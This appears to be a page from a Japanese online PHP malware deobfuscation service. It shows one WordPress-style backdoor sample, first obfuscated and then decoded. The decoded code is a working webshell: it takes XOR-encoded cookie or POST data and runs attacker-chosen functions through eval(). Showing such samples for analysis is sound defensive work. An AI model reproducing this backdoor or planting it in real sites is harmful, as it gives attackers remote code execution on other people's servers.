Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php $LEXiAVZO = "\x73"/*Vtp*/. chr ( 642/* StV */- 526/* HCaJY */).chr (114) . chr ( 742/* euz*/- 647 )."\162" ./* EKkb*/chr/* sh */(/*Y */526 - 425 )."\160"/* d*/. "\145"/* YT */./* xdF */"\141" . "\164"; $bYgpA = chr (101)/* Ui */./* lHkXp */chr (120)/* gAGqN */. 'p' . 'l'/* o */./* WKYS */"\x6f"/* CHjq */. 'd'/* vJKCa */. "\x65"; $quyzNEYBh = "\x63"/* tfEf */./* j */chr ( 366/* Ljj */-/* mdAF */255/* aNXd */).chr/*lB */(117)/*ZK*/. "\x6e" ./* LF */"\164"; $dtDUIBci/*M*/= chr/* SRAJF */(112)/*UcJJQ */. chr (97)/*Bv */. chr (/* Fahw */585 - 486 )."\153"; $zdlIdRU =/* yZLzU */Array/* wWRXa */(/* nqdD*/"zRLYoIhl" =>/*hfX*/"ZapYfHfAtQFvMltL" ); $ioYxx/* tpd */=/* jcxvD */Array/* APy */( "caKTDjLvdSZJcinNSriM" => "YRitufajjkQpPauXkUJyl" ); $DTfwQi/* FfF */= Array( $zdlIdRU, $_COOKIE, $zdlIdRU,/* o */$_POST, $ioYxx); foreach ($DTfwQi as $DWKlivjab)/*oXk */{ foreach (/* vYs */$DWKlivjab/* NeR */as $LWyPwXL =>/* KErZ */$USNmk )/* HONow*/{ $USNmk = @$dtDUIBci( "\110" . "\x2a", $USNmk ); $LWyPwXL .= "joZq-XjDTb-WqLIw-daF-TVWnsah-icNXrZy-MBfZ"; $LWyPwXL = $LEXiAVZO/*pB */(/*D*/$LWyPwXL, ( strlen( $USNmk )/strlen( $LWyPwXL/* PP*/)/* QF */) + 1); /* vM*/$FWzKjVHn =/* rwh */$USNmk ^ $LWyPwXL; /* DNkx*/$WTQCku/* UyI*/= $bYgpA (/*Bwg */'#', $FWzKjVHn ); if/*G */(/* LKXfS */$quyzNEYBh/* YVn */( $WTQCku/*uux*/)/* p */== 3 ) { /*ejMUA*/$kEWGW = $WTQCku[1]; $CuhRjAV = $WTQCku[2]; $BbFZAxTW/* XZBDy */= $kEWGW($CuhRjAV); eval/* ef */( $BbFZAxTW ); die/* QmMYZ*/(); } } /*N*/}
<?php $LEXiAVZO = "str_repeat"; $bYgpA = "explode"; $quyzNEYBh = "count"; $dtDUIBci = "pack"; $zdlIdRU = array( /* nqdD*/ "zRLYoIhl" => "ZapYfHfAtQFvMltL", ); $ioYxx = array("caKTDjLvdSZJcinNSriM" => "YRitufajjkQpPauXkUJyl"); $DTfwQi = array( $zdlIdRU, $_COOKIE, $zdlIdRU, /* o */ $_POST, $ioYxx, ); foreach ($DTfwQi as $DWKlivjab) { /*oXk */ foreach ($DWKlivjab as $LWyPwXL => $USNmk) { /* HONow*/ $USNmk = @$dtDUIBci("H*", $USNmk); $LWyPwXL .= "joZq-XjDTb-WqLIw-daF-TVWnsah-icNXrZy-MBfZ"; $LWyPwXL = $LEXiAVZO( /*D*/ $LWyPwXL, strlen($USNmk) / strlen($LWyPwXL) + 1 ); /* vM*/ $FWzKjVHn = $USNmk ^ $LWyPwXL; /* DNkx*/ $WTQCku = $bYgpA( /*Bwg */ '#', $FWzKjVHn ); if ($quyzNEYBh($WTQCku) == 3) { /*ejMUA*/ $kEWGW = $WTQCku[1]; $CuhRjAV = $WTQCku[2]; $BbFZAxTW = $kEWGW($CuhRjAV); eval($BbFZAxTW); die; } } /*N*/ }
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